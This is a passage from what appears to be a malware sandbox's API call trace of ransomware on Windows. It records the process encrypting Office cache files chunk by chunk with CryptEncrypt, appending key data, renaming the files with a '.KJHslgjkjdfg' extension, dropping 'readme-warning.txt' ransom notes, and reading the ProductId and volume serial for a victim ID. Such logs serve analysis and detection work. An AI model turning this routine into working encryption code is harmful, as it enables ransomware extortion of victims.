lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x750, lpNumberOfBytesRead=0x4dff504, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff504*=0x750, lpOverlapped=0x0) returned 1 [0163.314] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0x750, dwBufLen=0x750 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0x750) returned 1 [0163.314] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.314] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x750, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4f8*=0x750, lpOverlapped=0x0) returned 1 [0163.314] CryptDestroyKey (hKey=0x2f18208) returned 1 [0163.314] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x814, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.314] SetEndOfFile (hFile=0x124) returned 1 [0163.316] GetProcessHeap () returned 0x2ef0000 [0163.316] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0163.316] GetProcessHeap () returned 0x2ef0000 [0163.317] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0163.317] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml.kjhslgjkjdfg")) returned 1 [0163.317] CloseHandle (hObject=0x124) returned 1 [0163.317] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x309dfcc0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x309dfcc0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0163.317] GetProcessHeap () returned 0x2ef0000 [0163.317] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0163.317] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18208) returned 1 [0163.318] CryptDecrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dff330 | out: pbData=0x2f0c898, pdwDataLen=0x4dff330) returned 1 [0163.318] CryptDestroyKey (hKey=0x2f18208) returned 1 [0163.318] GetProcessHeap () returned 0x2ef0000 [0163.318] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0163.318] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18208) returned 1 [0163.318] CryptDecrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dff330 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dff330) returned 1 [0163.318] CryptDestroyKey (hKey=0x2f18208) returned 1 [0163.318] GetProcessHeap () returned 0x2ef0000 [0163.318] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f3d270 [0163.318] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18208) returned 1 [0163.318] CryptDecrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f3d270, pdwDataLen=0x4dff330 | out: pbData=0x2f3d270, pdwDataLen=0x4dff330) returned 1 [0163.318] CryptDestroyKey (hKey=0x2f18208) returned 1 [0163.318] GetProcessHeap () returned 0x2ef0000 [0163.318] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0163.318] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18208) returned 1 [0163.318] CryptDecrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfef10 | out: pbData=0x2f0c928, pdwDataLen=0x4dfef10) returned 1 [0163.318] CryptDestroyKey (hKey=0x2f18208) returned 1 [0163.318] GetProcessHeap () returned 0x2ef0000 [0163.318] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11778 [0163.318] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18208) returned 1 [0163.318] CryptDecrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11778, pdwDataLen=0x4dfef10 | out: pbData=0x2f11778, pdwDataLen=0x4dfef10) returned 1 [0163.318] CryptDestroyKey (hKey=0x2f18208) returned 1 [0163.319] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfef0c | out: phkResult=0x4dfef0c*=0x124) returned 0x0 [0163.319] RegQueryValueExA (in: hKey=0x124, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfef18, lpcbData=0x4dfef14*=0x400 | out: lpType=0x0, lpData=0x4dfef18*=0x30, lpcbData=0x4dfef14*=0x18) returned 0x0 [0163.319] RegCloseKey (hKey=0x124) returned 0x0 [0163.319] GetProcessHeap () returned 0x2ef0000 [0163.319] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0163.319] GetProcessHeap () returned 0x2ef0000 [0163.319] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11778 | out: hHeap=0x2ef0000) returned 1 [0163.319] GetProcessHeap () returned 0x2ef0000 [0163.319] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11778 [0163.319] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfec80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18208) returned 1 [0163.319] CryptDecrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11778, pdwDataLen=0x4dfece4 | out: pbData=0x2f11778, pdwDataLen=0x4dfece4) returned 1 [0163.319] CryptDestroyKey (hKey=0x2f18208) returned 1 [0163.319] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfece8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0163.319] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfece0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfece0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0163.319] GetProcessHeap () returned 0x2ef0000 [0163.319] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11778 | out: hHeap=0x2ef0000) returned 1 [0163.320] wsprintfA (in: param_1=0x4dfef2f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0163.320] wsprintfA (in: param_1=0x4dff33c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0163.320] GetProcessHeap () returned 0x2ef0000 [0163.320] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f3d638 [0163.320] wsprintfW (in: param_1=0x4dfe30c, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\readme-warning.txt") returned 81 [0163.320] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\readme-warning.txt" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0163.321] WriteFile (in: hFile=0x124, lpBuffer=0x2f3d638*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfe308, lpOverlapped=0x0 | out: lpBuffer=0x2f3d638*, lpNumberOfBytesWritten=0x4dfe308*=0x3b3, lpOverlapped=0x0) returned 1 [0163.322] CloseHandle (hObject=0x124) returned 1 [0163.322] GetProcessHeap () returned 0x2ef0000 [0163.322] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3d270 | out: hHeap=0x2ef0000) returned 1 [0163.322] GetProcessHeap () returned 0x2ef0000 [0163.322] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3d638 | out: hHeap=0x2ef0000) returned 1 [0163.322] GetProcessHeap () returned 0x2ef0000 [0163.322] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0163.322] GetProcessHeap () returned 0x2ef0000 [0163.322] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0163.322] FindClose (in: hFindFile=0x2f181c8 | out: hFindFile=0x2f181c8) returned 1 [0163.322] GetProcessHeap () returned 0x2ef0000 [0163.322] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16bd8 | out: hHeap=0x2ef0000) returned 1 [0163.323] FindNextFileW (in: hFindFile=0x2f122c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee803530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{90140000-00BA-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~4")) returned 1 [0163.323] GetProcessHeap () returned 0x2ef0000 [0163.323] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8e) returned 0x2f14588 [0163.323] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee803530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f181c8 [0163.326] GetProcessHeap () returned 0x2ef0000 [0163.326] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14588 | out: hHeap=0x2ef0000) returned 1 [0163.326] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee803530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0163.326] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee4bb7b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x3e7e1f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="GrooveLR.cab", cAlternateFileName="")) returned 1 [0163.326] GetProcessHeap () returned 0x2ef0000 [0163.326] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x290) returned 0x2f16bd8 [0163.326] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0163.328] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x4dff508 | out: lpFileSize=0x4dff508*=4095519) returned 1 [0163.328] GetProcessHeap () returned 0x2ef0000 [0163.328] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0163.328] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0163.328] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.328] WriteFile (in: hFile=0x124, lpBuffer=0x4dff528*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x4dff528*, lpNumberOfBytesWritten=0x4dff4f4*=0x1, lpOverlapped=0x0) returned 1 [0163.331] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4f8 | out: phKey=0x4dff4f8*=0x2f18208) returned 1 [0163.331] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0163.331] GetProcessHeap () returned 0x2ef0000 [0163.331] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0163.331] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff4d8*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff4d8*=0x40) returned 1 [0163.331] CryptDestroyKey (hKey=0x2f18208) returned 1 [0163.331] WriteFile (in: hFile=0x124, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff4f4*=0x40, lpOverlapped=0x0) returned 1 [0163.331] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x4dff4fc*, lpNumberOfBytesWritten=0x4dff4f4*=0x4, lpOverlapped=0x0) returned 1 [0163.331] WriteFile (in: hFile=0x124, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff4f4*=0x10, lpOverlapped=0x0) returned 1 [0163.331] WriteFile (in: hFile=0x124, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff4f4*=0x80, lpOverlapped=0x0) returned 1 [0163.332] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff520 | out: lpNewFilePointer=0x0) returned 1 [0163.332] WriteFile (in: hFile=0x124, lpBuffer=0x4dff510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x4dff510*, lpNumberOfBytesWritten=0x4dff4f4*=0x8, lpOverlapped=0x0) returned 1 [0163.332] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4f8 | out: phKey=0x4dff4f8*=0x2f18208) returned 1 [0163.332] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0163.332] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0163.332] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0163.340] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0163.343] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.343] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0163.344] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x3e7ef4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.345] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0163.345] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x14d4b5, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0163.345] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0163.350] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0163.353] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x14d4b5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.353] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0163.354] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x3e7ef4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.354] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0163.354] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x3a7e20, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0163.354] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0163.360] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0163.363] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x3a7e20, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.363] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0163.364] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x3e7ef4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.364] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0163.364] CryptDestroyKey (hKey=0x2f18208) returned 1 [0163.364] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x3e7ef4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.365] SetEndOfFile (hFile=0x124) returned 1 [0163.368] GetProcessHeap () returned 0x2ef0000 [0163.369] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0163.369] GetProcessHeap () returned 0x2ef0000 [0163.369] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0163.369] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab.kjhslgjkjdfg")) returned 1 [0163.369] CloseHandle (hObject=0x124) returned 1 [0163.369] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee3b15e0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x264400, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="GrooveMUI.msi", cAlternateFileName="GROOVE~1.MSI")) returned 1 [0163.370] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0163.370] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x4dff508 | out: lpFileSize=0x4dff508*=2507776) returned 1 [0163.370] GetProcessHeap () returned 0x2ef0000 [0163.370] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0163.370] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0163.370] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.370] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4f8 | out: phKey=0x4dff4f8*=0x2f18208) returned 1 [0163.370] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0163.370] GetProcessHeap () returned 0x2ef0000 [0163.370] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0163.370] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff4d8*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff4d8*=0x40) returned 1 [0163.370] CryptDestroyKey (hKey=0x2f18208) returned 1 [0163.370] WriteFile (in: hFile=0x124, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff4f4*=0x40, lpOverlapped=0x0) returned 1 [0163.388] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x4dff4fc*, lpNumberOfBytesWritten=0x4dff4f4*=0x4, lpOverlapped=0x0) returned 1 [0163.388] WriteFile (in: hFile=0x124, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff4f4*=0x10, lpOverlapped=0x0) returned 1 [0163.388] WriteFile (in: hFile=0x124, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff4f4*=0x80, lpOverlapped=0x0) returned 1 [0163.389] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff520 | out: lpNewFilePointer=0x0) returned 1 [0163.389] WriteFile (in: hFile=0x124, lpBuffer=0x4dff510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x4dff510*, lpNumberOfBytesWritten=0x4dff4f4*=0x8, lpOverlapped=0x0) returned 1 [0163.389] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, 